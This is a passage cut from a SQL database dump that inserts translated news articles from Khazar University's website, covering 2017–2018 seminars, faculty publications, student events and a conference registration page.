Club)</em> keçiriləcək.</p>\r\n<p>Seminarın\r\nplanına aşağıdakılar daxildir:</p>\r\n<p>1.&nbsp; Qoşqar Məhərrəmov – Xəzər Universitetində\r\nyaradılan PhD tələbə birliyinin rəsmi təqdimi;</p>\r\n<p>2. Babək Əlibəyov\r\n– son illər Çexiya Elmlər Akademiyasının Biokimya və Üzvi Kimya İnstitutunda\r\napardığı elmi tədqiqatların nəticələri və müzakirəsi;</p>\r\n<p>3.&nbsp; Aytac Misgərli – Xəzər Universitetinin\r\nkitabxanasının son məlumat bazalarının təqdimatı;</p>\r\n<p>4.&nbsp; Tədqiqata dəstək və digər məsələlər.</p>\r\n<p>Maraqlanan hər kəs\r\ndəvətlidir. PhD və magistr tələbələrin iştirakı xüsusi olaraq dəstəklənir. </p>\r\n<p>Seminarın yeri\r\nkitabxana ilə üzbəüz yeni təlim otağında nəzərdə tutulur.</p>'),(4126,2408,'az','Xəzər Universiteti yeni dərs ilinə hazırlaşır-fotosessiya','Xəzər Universiteti yeni dərs ilinə hazırlaşır...','<p>Xəzər Universiteti yeni dərs ilinə hazırlaşır.</p>'),(4127,2408,'en','Khazar University is preparing for the new academic year - photo session','Khazar University is preparing for the new academic year...','<p>Khazar University is preparing for the new academic year. &nbsp;</p>'),(4128,2410,'az','ABŞ universitetinin professoru Xəzər Universiteti ilə əməkdaşlığı davam etdirir','Amerikanın Texas at Tylor Universitetinin saytında tibbi biologiya tədqiqatçısı, biologiya professoru Ali Azghani “Fulbright scholar” adını qazanmışdır. O, bu tədqiqatları Azərbaycanda...','<p>Amerikanın Texas at Tylor Universitetinin saytında tibbi\r\nbiologiya tədqiqatçısı, biologiya professoru Ali Azghani <em>“Fulbright scholar”</em> adını qazanmışdır. O, bu tədqiqatları Azərbaycanda\r\nağ ciyərlərə təsir edən müəyyən bakteriyaların antimikrob rezidentliyi sahəsində\r\naparacaqdır. Həmçinin, qeyd edilmişdir ki, bu tədqiqat Texas at Tylor\r\nUniversitetinin Xəzər Universiteti ilə apardığı tədqiqat sahəsində olan birgə əməkdaşlığıdır.\r\n</p>\r\n<p>Qeyd edək ki,\r\npeofessor A.Azghani ilk dəfə Xəzər Universiteti Bioloji elmlər departamentinə\r\n2016-cı ilin mayında gəlmiş, tədqiqatçılar və tələbələrlə görüşmüş, gələcək\r\nplanlar haqda müzakirələr aparmış və seminar-konfrans keçirmişdir.&nbsp;&nbsp; </p>\r\n<p>Bu haqda daha\r\ngeniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p>\r\n<p><a href=\"https://www.uttyler.edu/news/pressrelease/2017/05012017.php\">https://www.uttyler.edu/news/pressrelease/2017/05012017.php</a>;</p>\r\n<p><a href=\"http://www.khazar.org/en/news/article/1104\">http://www.khazar.org/en/news/article/1104</a>.</p>'),(4129,2411,'az','Xəzər Universitetində elmi seminar-konfrans keçiriləcək','2017-ci il sentyabrın 19-u saat 14:00-da Xəzər Universitetində genomun oxunması üçün Amerikanın nəhəng “Illumina” avadanlıq tədarükçüsü Alliance Global qrupu ilə birgə...','<p>2017-ci il sentyabrın 19-u saat 14:00-da Xəzər\r\nUniversitetində genomun oxunması üçün Amerikanın nəhəng “Illumina” avadanlıq tədarükçüsü\r\n<em>Alliance Global</em> qrupu ilə birgə (<em>Illumina Inc. /Alliance Global</em>)\r\nbiologiya ixtisası tələbələrinə, gənc tədqiqatçılara və həkimlərə “<em>Introduction to ILLUMINA Next Generation\r\nSequencing</em>” adlı elmi seminar-konfrans keçirəcək. Burada onkoloji panellər\r\nvə HLA, genetika və sağlamlıq, həmçinin insan sağlamlığını yaxşılaşdırmaq məqsədilə\r\nbioloji məlumatların toplanması, təhlili və tətbiqi müzakirə olunacaqdır.</p>\r\n<p>Seminarda Dr. Szabolcs Kokeny (Ph.D) və Dr. Florian\r\nGraedler (Ph.D) çıxış edəcəklər.</p>\r\n<p>Maraqlanan hər kəs dəvətlidir. Daha geniş məlumatı\r\nXəzər Universiteti Bioloji elmlər departamentindən almaq olar.</p>'),(4130,2412,'az','Riyaziyyat departamentinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Riyaziyyat departamentinin əməkdaşı dossent Tərlan Qarayevin “Xətti fazalı eksponensial sistemlərin Mori-Sobolev tipli fəzalarda bazislik xassələri” adlı...','<p>Xəzər Universiteti Riyaziyyat departamentinin əməkdaşı dossent Tərlan Qarayevin “Xətti fazalı eksponensial sistemlərin Mori-Sobolev tipli fəzalarda bazislik xassələri” adlı yeni məqaləsi “<em>Mathematical Sciences Letters</em>” jurnalında çapdan çıxmışdır. Məqalə&nbsp;&nbsp;sisteminin Mori-Sobolev tip fəzalarda bazislik xassələrinin öyrənilməsinə həsr olunub. Baxılan sistemin Mori-Sobolev tip fəzalarda bazis təşkil etməsi üçün β parametrinin müəyyən şərtləri ödəməsinin kafi olduğu isbat edilmişdir. <a href=\"/files/pdf/events/13%20Tarlan%20yeni.pdf\">PDF</a></p>'),(4131,2413,'az','Fransanın məşhur pianisti Xəzər Universitetində ustad dərsi keçirəcək','2017-ci il sentyabrın 21-si saat 16:00-da Xəzər Universitetində (B.Səfəroğlu küç. 122)...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il sentyabrın 21-si saat\r\n16:00-da Xəzər Universitetində (B.Səfəroğlu küç. 122) “Üzeyir Hacibəyli IX\r\nBeynəlxalq Musiqi Festivali” çərçivəsində Fransanın məşhur pianisti Elisso\r\nBokvardze konsert verəcək və ustad dərsi keçirəcək. Tədbirdə Xəzər\r\nUniversitetinin Kamera Orkestri iştirak edəcək.</p>\r\n<p>Maraqlananlar dəvət olunurlar.</p>'),(4132,2412,'en','A research paper of a member of the Department of Mathematics is published','The paper “Basis Properties of Exponential Systems With Linear Phases in Morrey-Sobolev Type Spaces” produced by Tarlan Garaev, the member of the Department of Mathematics...','<p>The paper “Basis Properties of Exponential Systems With Linear Phases in Morrey-Sobolev Type Spaces” produced by Tarlan Garaev, the member of the Department of Mathematics, was published in the journal “Mathematical Sciences Letters”.&nbsp;The paper is devoted to the study of basis properties of the system&nbsp;&nbsp;, in Morrey-Sobolev-type spaces.&nbsp; Some conditions on the parameter β are proved to be sufficient for the above system to form a basis in Morrey-Sobolev-type spaces.&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/13%20Tarlan%20yeni.pdf\">PDF</a>  </p>'),(4133,2414,'az','KİM-də elektron xidmətlərlə bağlı peşə təlimi keçirildi','2017-ci il sentyabrın 14-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşlarına elektron xidmətlərlə bağlı peşə təlimi keçirildi. Təlim yeni tədris ilində tələbə...','<p>2017-ci il sentyabrın 14-də Xəzər Universiteti\r\nKitabxana-İnformasiya Mərkəzinin əməkdaşlarına elektron xidmətlərlə bağlı peşə\r\ntəlimi keçirildi. Təlim yeni tədris ilində tələbə və müəllim heyətinə Kitabxana-İnformasiya\r\nMərkəzinin daha effektiv xidmət üsullarını təbliğ etmək məqsədi daşıyırdı. </p>\r\n<p>Təlimdə Samirə Orucova “Elektron mənbələr Marc formatında necə işlənilməli” və“ Elektron kataloqda axtarış üsulları”,\r\nAytac &nbsp;Misgərli “Elektron mənbələrdən\r\nistifadə qaydaları” adlı təqdimat ilə çıxış etdi.&nbsp;</p>'),(4774,2837,'en','The instructor of the Chemistry Department was awarded an international prize','Dr. Jestin Mandumpal, a lecturer at the Department of Chemistry, has been awarded Chartered Chemist status (CChem) by the Royal Society of Chemistry, UK...','<p><img src=\"/files/letters/20180111_172636.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:227px;margin-right:7px;margin-bottom:7px\">Dr. Jestin Mandumpal, a lecturer at the Department of Chemistry, has been awarded Chartered Chemist status (CChem) by the Royal Society of Chemistry, UK. Dr. Mandumpal has been a member (MRSC) of the organisation (a platform for promoting chemical sciences in public and practitioners of science for over a century) for ten years.</p><p>Chartered Status (CChem) is awarded to practising chemists for recognition of their knowledge and professionalism in chemical sciences.</p><p>CChem status attests demonstrated professional skills in chemical sciences, a strong commitment for improving those skills, critical contribution to the success of the institution the candidate currently employed, professional integrity, and advancement of excellence in science.</p><p>Dr Mandumpal currently heads the Computational Laboratory for Design and Optimisation of Materials (CLDOM).</p>'),(5215,3026,'az','Universitetin əməkdaşları Qəbələ, İsmayıllı və Şamaxıda oldular','2018-ci il martın 2-si və 3-də Xəzər Universitetinin potensial tələbələr üzrə işçi qrupun koordinatoru...','<p>2018-ci il martın 2-si və 3-də Xəzər Universitetinin potensial tələbələr üzrə işçi qrupun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli və Məzunlarla iş üzrə koordinator Baba Bayramlı Qəbələ, İsmayıllı və Şamaxı şəhərlərində səfərdə oldular. Səfər zamanı universitetin nümayəndələri Qəbələ şəhər Təhsil şöbəsinin müdiri Yaşar Nəsirovla görüşdülər və Xəzər Universiteti haqqında ona və şöbənin digər əməkdaşlarına geniş məlumat verdilər. Təhsil şöbəsi müdirinin təklifi ilə Qəbələ şəhərinin ən böyük məktəbi olan 4 saylı İnternat məktəbinin şagirdləri və müəllimləri ilə görüş oldu. Sonra isə Qəbələ şəhərinin ən böyük hazırlıq kursu olan Qəbələ hazırlıq kurslarının çoxsaylı şagirdləri və müəllimləri ilə görüş oldu. Görüş zamanı onlara Xəzər Universiteti haqqında geniş məlumat verildi.</p><p>Günortadan sonra İsmayıllı şəhərində yerləşən Niyal Hazırlıq Kurslarının rəhbəri Həsən Kərimovla görüş oldu. Kursun rəhbərinə Xəzər Universiteti haqqında məlumat verildi və materiallar çatdırıldı.</p><p>Martın 3-də səhər tezdən Şamaxı şəhərində yerləşən Texniki, təbiət və humanitar elmlər liseyinin şagirdləri və müəllimləri ilə görüş oldu. Həmin gün Şamaxı hazırlıq kurslarında 11-ci sinif şagirdləri və kursun rəhbəri Taleh Mənsimovla görüş oldu. Görüş zamanı orada təhsil alan şagirdlərin Xəzər Universitetinə ekskursiyalarının təşkili, universitet rəhbərliyi ilə görüşlərinin keçirilməsi qərara alındı.</p><p>Bakıya geri dönərkən Xəzər Universiteti adından Qobustan rayonun ərazisində yerləşən Türk Şəhidinin abidəsi ziyarət edildi.</p>'),(4137,2419,'az','Coğrafiya və ətraf mühit departamentinin müdiri Gürcüstanda konfransda iştirak etmişdir','2017-ci il sentyabrın 11-dən 13-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Gürcüstanın Tbilisi şəhərində NASA tərəfindən keçirilən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 11-dən 13-dək Xəzər\r\nUniversiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov\r\nGürcüstanın Tbilisi şəhərində NASA tərəfindən keçirilən “Məsafədən zondlama və\r\nonun həyatda tətbiqi” (<em>Remote sensing and\r\nits use</em>) adlı konfransında iştirak etmişdir.&nbsp;</p>'),(4138,2420,'az','Birinci kurs tarixçilərlə görüş keçirildi ','2017-ci il sentyabrın 15-də Xəzər Universitetində Tarix və arxeologiya departamentinin təşikilatçılığı ilə 1-ci kurs tarix müəllimliyi ixtisasının tələbələri ilə görüş keçirildi. Görüşdə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il sentyabrın 15-də Xəzər Universitetində Tarix və arxeologiya\r\ndepartamentinin təşikilatçılığı ilə 1-ci kurs tarix müəllimliyi ixtisasının tələbələri\r\nilə görüş keçirildi. Görüşdə Tarix və arxeologiya departamentinin müdiri Roza\r\nArazova, departamentinin asisstenti Akifə Cəfərli, məzunlar və məzunluğa gedən\r\nyuxarı kurs tələbələr iştirak etdirdilər. Görüş Roza xanımın çıxışı ilə\r\nbaşladı. Roza xanım tələbələrə Xəzər Universitetinin kəşməkəşli tarixindən bəhs\r\netdi və öz məsləhətlərini verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">4-cü kurs tarix müəllimliyi ixtisasının tələbələri İlahə Yusifli,\r\nSamid Axundov və Rüfət Xəlilov slayd-show göstərərək, Xəzər Universiteti\r\nhaqqında məlumatlar verdilər və yeni tələbələri maraqlandıran bir çox suallara\r\ncavablandırdılar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha sonra Tarix və arxeologiya departamentinin təşkil etdiyi görüşlər,\r\nsəfərlər və tarixçi tələbələrin şəkillərindən ibarət slayd-show göstərildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məzun olmağa hazırlaşan tələbələr öz arzularını və təbriklərini\r\ndavamçıları olacaq 1-ci kurs tələbələrə söylədilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda tələbələrə tələbə biletləri təqdim olundu və kiçik ekskursiya\r\nilə universitet tanıtıldı.</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (4419,2619,'az','Xalq artistinin yubileyi münasibətilə tədbir','2017-ci il noyabrın 4-də Müslüm Maqomayev adına Azərbaycan Dövlət Akademik Filarmoniyasında xalq artisti...','<p>2017-ci il noyabrın 4-də Müslüm Maqomayev adına Azərbaycan Dövlət Akademik Filarmoniyasında xalq artisti, filarmoniyanın mahnı və rəqs ansamblının bədii rəhbəri və quruluşçusu Cəmilə Bayramovanın yubileyi münasibətilə tədbir keçirildi. Tədbirdən əvvəl görkəmli rəqqasənin həyat və yaradıcılığına aid slayd-şou nümayiş etdirildi, elm və mədəniyyət xadimlərinin videotəbrikləri səsləndirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı öz təbrikində Cəmilə Bayramovanın yüksək sənətindən danışmaqla yanaşı, universitetdə müəllim kimi çalışdığı illərdə səmərəli fəaliyyətindən də söz açdı.</p><p>Tədbir xalq artistinin fəaliyyəti ərzində çalışdığı kollektivlərin çıxışlarından təşkil olunmuşdu. Bakı Xoreoqrafiya Akademiyasının balet qrupu, Azərbaycan Dövlət Rəqs Ansamblı, “Cəngi”, “Cücələrim” və “Dəcəl” ansamblları, Xəzər Universitetinin Mahnı və Rəqs Ansamblı məharətli çıxışları ilə yubilyarı təbrik etdilər.</p><p>Yubiley tədbirində elan olundu ki, Cəmilə Bayramova Azərbaycan Respublikasının Mədəniyyət və Turizm Nazirliyi tərəfindən “Fəxri mədəniyyət işçisi” adına layiq görülüb.</p>'),(6315,3592,'az','Xəzər Universiteti “Ölülər günü” bayramını qeyd etdi','2018-ci il noyabrın 1-də Meksikanın ən əhəmiyyətli bayramlarından biri olan...','<p>2018-ci il noyabrın 1-də Meksikanın ən əhəmiyyətli bayramlarından biri olan “Ölülər günü” bayramı Xəzər Universitetində qeyd olundu. “Ölülər günü” vəfat etmiş dost və ailələri anmaq üçün təşkil olunan Meksikanın milli bayramlarından biridir. Bayramla əlaqədar olaraq, Meksikanın Azərbaycandakı səfirliyi Xəzər Universiteti ilə birgə bayram elementi kimi parlaq rəngli ənənəvi folklor kostyumları, skelet başları, kalaka (qadın paltarı geyinən skelet), bayram oyuncaqlarının nümayiş olunduğu stend hazırlamışdı.</p><p>Tədbirin birinci hissəsində Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Meksikanın Azərbaycandakı səfiri cənab Rodrigo Labardini ilə görüşdü və Xəzər Universitetinin əməkdaşları və tələbələri adından bu bayram münasibətilə səfiri və Meksika xalqını təbrik etdi, sağlamlıq, sülh və firavanlıq arzuladı.</p><p>Görüşdən sonra stend qarşısında çıxışına başlayan cənab Rodrigo Labardini qeyd etdi ki, bu bayram “Ölülərin xanımı” kimi tanınan Mictecacihuatl ilahəsinə tez-tez festivallar keçirən azteklərin yerli mədəniyyətinə aiddir. Daha sonra “Ölülər günü” ilə bağlı animasiyalı film Xəzər Universitetinin tələbələri üçün nümayiş etdirildi və filmdən sonra səfir filmin səhnələrini tələbələrlə müzakirə etdi, eyni zamanda, auditoriyanın suallarını cavablandırdı.</p>'),(4433,2626,'en','Peace Symbol Flash mob held at Khazar University','On November 10, 2017, Khazar University’s team “The Chain” held a “Peace Symbol Flash mob” in the university yard...','<p>On November 10, 2017, Khazar University’s team “The Chain” held a “Peace Symbol Flash mob” in the university yard. The aim of the flash mob was to raise the awareness of the campaign, draw the public attention and invite others to join the peace chain to further increase the steps taken for peace and fight hate-speech.&nbsp;The event was coordinated by the International Affairs Office in cooperation with the School of Economics and Management; it was well received by both local and international students and staff members of Khazar University.  </p><p>“The Chain” is a social media campaign, designed by the team of students from a diverse background and culture of Khazar University to fight hate-speech online. The campaign is carried out within the university\'s participation in the project \"<em>Peer to Peer: Facebook Global Digital Challenge</em>\" which is sponsored by Facebook and managed by EdVenture Partners.</p><p>For more information about the project and the team of Khazar University:</p><p><a href=\"http://www.khazar.org/en/news/article/2522\">http://www.khazar.org/en/news/article/2522</a>.</p><p>(Students of Khazar University Participate in “Peer to Peer: Facebook Global Digital Challenge\")</p>'),(4495,2664,'az','Doktorantın növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın “N.Çomskinin dilə fəlsəfi yanaşması: struktural...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “N.Çomskinin dilə fəlsəfi yanaşması: struktural dilçiliyin tənqidi və dilin apriori olması ideyası” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Milli Elmlər Akademiyası M.Füzuli adına Əlyazmalar İnstitutunun “Filologiya məsələləri” adlı jurnalının 14-cü sayında çap edilmişdir. XX əsrin dilçiyinə N.Çomski qədər güclü təsir göstərmiş ikinci alim tapmaq çətindir. Belə ki, məqalədə N.Çomskinin dilə münasibətinin əsasını təşkil edən fikirləri, dillərin sintaktik strukturunda universallar mövcudluğu, elm dünyasında rezonansa səbəb olan dilçiliklə bağlı linqvistik fikirləri araşdırılmışdır. Təqdim edilən araşdırmada N.Çomskinin linqvistik dünyasında böyük əks-səda doğuran fikirlərinə dair qısa və vacib məlumatlar verilmişdir.</p><p>Məqaləni tam şəkildə aşağıdakı link vasitəsi ilə oxumaq olar:</p><p><a href=\"http://www.filologiyameseleleri.net/pdf/2017/n14.pdf\">http://www.filologiyameseleleri.net/pdf/2017/n14.pdf</a>.</p>'),(6314,3591,'en','Research papers by the associates of the Department of Mathematics are published','During the first two months of 2018/2019 academic year, 5 articles by the associates...','<p>During the first two months of 2018/2019 academic year, 5 articles by the associates of the Department of Mathematics were published in foreign journals with impact factor.</p><p>The articles are as follows:</p><p>1. N. B. Kerimov, E.A. Maris, On the Uniform Convergence of Fourier Series Expansions for Sturm–Liouville Problems with a Spectral Parameter in the Boundary Conditions, Results in mathematics, 73:102, 2018;&nbsp;</p><p>2. A. Hazanee, D. Lesnic, M. I. Ismailov, N. B.Kerimov, Inverse time-dependent source problem for the heat equation with nonlocal boundary conditions, Applied Mathematics and Computation, 2018 (in press);</p><p>3. N. B. Kerimov, On basis properties in L<sub>p</sub>&nbsp;of the Sturm-Liouville operator with a spectral parameter in the boundary conditions, Differential equations, 2018 (in press);</p><p>4. Deniz N. Bozkurt and Ilmar Gahramanov, Pentagon identities arising in supersymmetric gauge theory computations, Theoretical and Mathematical Physics, 2018 (In press);</p><p>5. Ilmar Gahramanov and Shahriyar Jafarzade, Integrable lattice spin models from supersymmetric dualities, Physics of Particles and Nuclei Letters, 2018,&nbsp;Vol.15, No.6, pp.650-667.</p><p>It should be noted that during 2017/2018 academic year, overall 9 articles by the associates of the Department of Mathematics were published in journals with impact factor.</p>'),(4190,2432,'en','Scientific seminar - conference was held at Khazar University','A scientific seminar-conference, entitled “Introduction to ILLUMINA Next Generation Sequencing\", for the students majoring in Biology, young researchers...','<p>A scientific seminar-conference, entitled “Introduction to ILLUMINA Next Generation Sequencing\", for the students majoring in Biology, young researchers and doctors, was held at Khazar University, in collaboration with Alliance Global (Illumina Inc.), the American \"Illumina\" equipment supplier for the genome reading.</p><p>The seminar was attended by Dr. Irada Khalilova, Head of Biology department of the School of Education, Dr. Zaur Karimov, Parvana Bakshaliyeva, teachers of the department, Ph.D. students and students majoring in Biology studies. Doctors from several hospitals participated in the seminar as well.</p><p>The seminar-conference consisted of two parts. Dr. Szabolcs, delivering a speech in the first part, gave detailed information about sequencing methods and results of modern studies conducted in the clinics, science and education. Dr. Florian Graedler, in the second part of the seminar, spoke about oncology panels and HLA ( human leucocyte antigen), genetics and health as well as collection, analysis and application of biological data to enhance human health. During the seminar, broad discussions were held on application methods of Illumina technologies in modern studies.</p>'),(4189,2448,'en','Master thesis defense was held in the Department of Journalism','On September 26, 2017, Sevil Rasulzade, the Master student of the Department of Journalism, who has been majoring...','<p>On September 26, 2017, Sevil Rasulzade, the Master student of the Department of Journalism, who has been majoring in Broadcast Journalism, defended her thesis “Coverage of gender issues on television”. The Defense committee included Jabir Khalilov, Associate Professor, PhD, Dean of the School of Humanities and Social Sciences, Knyaz Aslan, Associate Professor, (Baku State University), Aynur Nasirova, PhD in Philology (Baku State University), Dilbar Zeynalova, Associate Professor, (Azerbaijan University of Languages), Jabir Mammadli, the Coordinator of the Department of Journalism and Valide Karimova, PhD candidate.</p><p>After an interactive discussion and a question-and-answer session, the dissertation was positively evaluated and the candidate was awarded a Master’s degree.</p>'),(5767,3306,'az','AESOP Erasmus+ layihəsinin növbəti görüşü Vyanada keçirildi','2018-ci il iyunun 11-dən 14-dək Avstriyanın Vyana şəhərində Avstriya Tələbə Ombudsmanı...','<p>2018-ci il iyunun 11-dən 14-dək Avstriyanın Vyana şəhərində Avstriya Tələbə Ombudsmanı (Austrian Student Ombudsman) Ofisində Erasmus+ “Tələbələrin ombudsman vəzifəsi ilə hüquqi bazasının yaradılması” (“Advocacy Establishment for Students through Ombudsman Position” –AESOP) layihəsi çərçivəsində növbəti görüş keçirildi. Görüşdə layihənin regional tərəfdaşları olan Xəzər Universiteti, Gəncə Dövlət Universiteti, Naxçıvan Dövlət Universiteti, Naxçıvan Universiteti, Akaki Tsereteli Dövlət Universiteti (Gürcüstan), Qafqaz Universiteti (Gürcüstan), Gürcüstan Amerika Universiteti, Poltava İqtisadiyyat və Ticarət Universiteti və Kiyev Milli İqtisad Universitetinin nümayəndələri, həmçinin, İngiltərənin Middlesex Universiteti, Polşanın Varşava Universiteti və Finlandiyanın Jyväskylä Universitetinin nümayəndələri də iştirak edirdilər. Xəzər Universitetini layihə koordinatoru Rima Məmmədova və İngilis dili və ədəbiyyati departamentinin müdir müavini Eynur Mehdiyev təmsil etdilər.</p><p>Görüşdə Rima Məmmədova Xəzər Universitetinin layihə çərçivəsində həyata keçirdirdiyi fəaliyyətlər haqqında hesabat verdi və gələcək planlar haqqında danışdı. Avstriya Tələbə Ombudsmanı Ofisinin direktoru Josef Leidenfrost Avstriya təhsil sistemi, Ali Təhsil Müəssisələrinin Ombudsmanlarının Avstriya Şəbəkəsi (Austrian Network of ombudsmen in HE) və onların fəaliyyətləri haqqında geniş məlumat verdi.</p><p>Görüş çərçivəsində iştirakçılar Vyana Universitetində oldular. Universitetin “Münaqişələrin idarə edilməsi” ofisinin və “Xarici Tələbələr üçün Ombudsman” ofisinin nümayəndələri ilə görüşdülər və onların fəaliyyətləri ilə tanış oldular.</p>'),(4350,2578,'az','Hamlet İsaxanlı universitetlər üçün kampusların tikilməsi məsələsinə münasibət bildirdi','2017-ci il oktyabrın 25-də hafta.az xəbər saytında gələn ilin büdcə layihəsinə universitetlər üçün kampusların...','<p>2017-ci il oktyabrın 25-də <strong><em>hafta.az</em></strong> xəbər saytında gələn ilin büdcə layihəsinə universitetlər üçün kampusların tikilməsi məsələsinin salınması ilə bağlı yazı yayınlanmışdır.</p><p>Sayt məsələ ilə bağlı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərinə yer vermişdir.</p><p>Yazını tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://hafta.az/index2.php?m=yazi&amp;id=207780\">http://hafta.az/index2.php?m=yazi&amp;id=207780</a>.</p>'),(4351,2579,'az','Xəzər Universitetinin rektoru yeni əcnəbi tələbələrlə görüşdü','2017-ci il oktyabrın 25-də Xəzər Universitetinin rektoru Dr. Hassan Niknafs 2017/18-ci tədris ilində universitetə...','<p>2017-ci il oktyabrın 25-də Xəzər Universitetinin rektoru Dr. Hassan Niknafs 2017/18-ci tədris ilində universitetə qəbul olunmuş bütün əcnəbi tələbələrlə görüşdü. Beynəlxalq əlaqələr şöbəsinin universitetin “Neftçilər” kampusunda təşkil etdiyi görüşdə 13 ölkədən olan əcnəbi tələbələrlə yanaşı, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova və koordinatoru Günay Fərzəliyeva və rektorun assistenti Səbinə Ələkbərli iştirak edirdilər.</p><p>Tələbələri salamlayan Dr. Hassan Niknafs görüşü tələbələrin tədris planı ilə bağlı mühüm məsələlərin və universitetin daxili nizam-intizam qaydalarının müzakirəsi ilə başladı. Tələbələr də təhsillə bağlı onları narahat edən məsələləri universitet rəhbərliyi ilə bölüşdülər. Turan Cəfərova onların akademik fəaliyyəti və miqrasiya məsələləri ilə bağlı vacib məlumatları bir daha əcnəbi tələbələrin nəzərinə çatdırdı.</p><p>Qeyd edək ki, cari tədris ili üzrə Xəzər Universitetində təhsil almaq üçün Əfqanıstan, İndoneziya, İran, İraq, Nigeriya, Pakistan, Polşa, Rusiya, Cənubi Koreya, Türkiyə, Ukrayna, ABŞ və Zimbabvedən tələbələr qəbul olunmuşlar.</p>'),(4352,2579,'en','Rector Meets with New International Students','On October 25, 2017, Dr. Hassan Niknafs, Rector of Khazar University, met with international students who got admitted...','<p>On October 25, 2017, Dr. Hassan Niknafs, Rector of Khazar University, met with international students who got admitted to the University in the current academic year of 2017-2018. Participants of the meeting included international students from 13 countries, Vice-Rector for Research Dr. Irada Khalilova, Director of International Affairs Office Ms. Turan Jafarova, Coordinator of International Affairs Office Ms. Gunay Farzaliyeva, and Rector\'s Assistant Ms. Sabina Alakbarli. The meeting was organized by the International Affairs Office and took place in the Neftchilar campus of the University.</p><p>Dr. Hassan Niknafs welcomed the students and opened the meeting by giving important information regarding students’ academic programs, rules and regulations at Khazar University. Students shared their academic concerns with the university administration. Turan Jafarova updated them with important information regarding their academic life and migration issues.</p><p>In the current academic year, Khazar University accepted international students from Afghanistan, Indonesia, Iran, Iraq, Nigeria, Pakistan, Poland, Russia, South Korea, Turkey, Ukraine, USA, and Zimbabwe.</p>'),(4353,2580,'az','QEYDİYYAT','QEYDİYYAT','<p><span style=\"text-align:justify\">Qeydiyyat üçün aşağıda qeyd olunan&nbsp;</span><span style=\"text-align:justify\">linklərdəki müvafiq forma doldurularaq bank qəbzi ilə birlikdə </span><span style=\"text-decoration:underline;text-align:justify;color:#0000cc\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media1120121449899294\" width=\"150\" height=\"100\">education[at]khazar.org</span><span style=\"text-align:justify\">  </span><span style=\"text-align:justify\">e-</span><span style=\"text-align:justify\">mail </span><span style=\"text-align:justify\">ünvanına&nbsp;</span><span style=\"text-align:justify\">göndərilməlidir:</span></p><br><h1><p><strong style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/letters/Qeydiyyat_vereqesi_izleyici.docx\">İZLƏYİCİ QEYDİYYATI</a></strong></p><p><strong style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/letters/Qeydiyyat_vereqesi_izleyici.docx\"></a></strong><a href=\"http://www.khazar.org/files/letters/Qeydiyyat_vereqesi_tezis.docx\"><strong style=\"font-size:medium\">TEZİS GÖNDƏRMƏ</strong></a></p></h1><br><p style=\"font-size:x-large\"><strong style=\"color:#660033;font-size:medium\"><br></strong></p><p style=\"font-size:x-large\"><strong style=\"color:#660033;font-size:medium\">İştirak haqqı:&nbsp;</strong></p><br><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"312\">\r\n  <strong>Məqalə ilə qatılan\r\n  Azərbaycan vətəndaşları</strong>\r\n  </td>\r\n  <td width=\"312\">\r\n  <strong>50 AZN</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"312\">\r\n  <strong>Dinləyici olaraq qatılan\r\n  yerli və xarici qonaqlar</strong>\r\n  </td>\r\n  <td width=\"312\" style=\"\" width:233.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <strong>25 AZN</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"312\">\r\n  <strong>Məqalə ilə qatılan xarici\r\n  vətəndaşlar</strong>\r\n  </td>\r\n  <td width=\"312\" style=\"\" 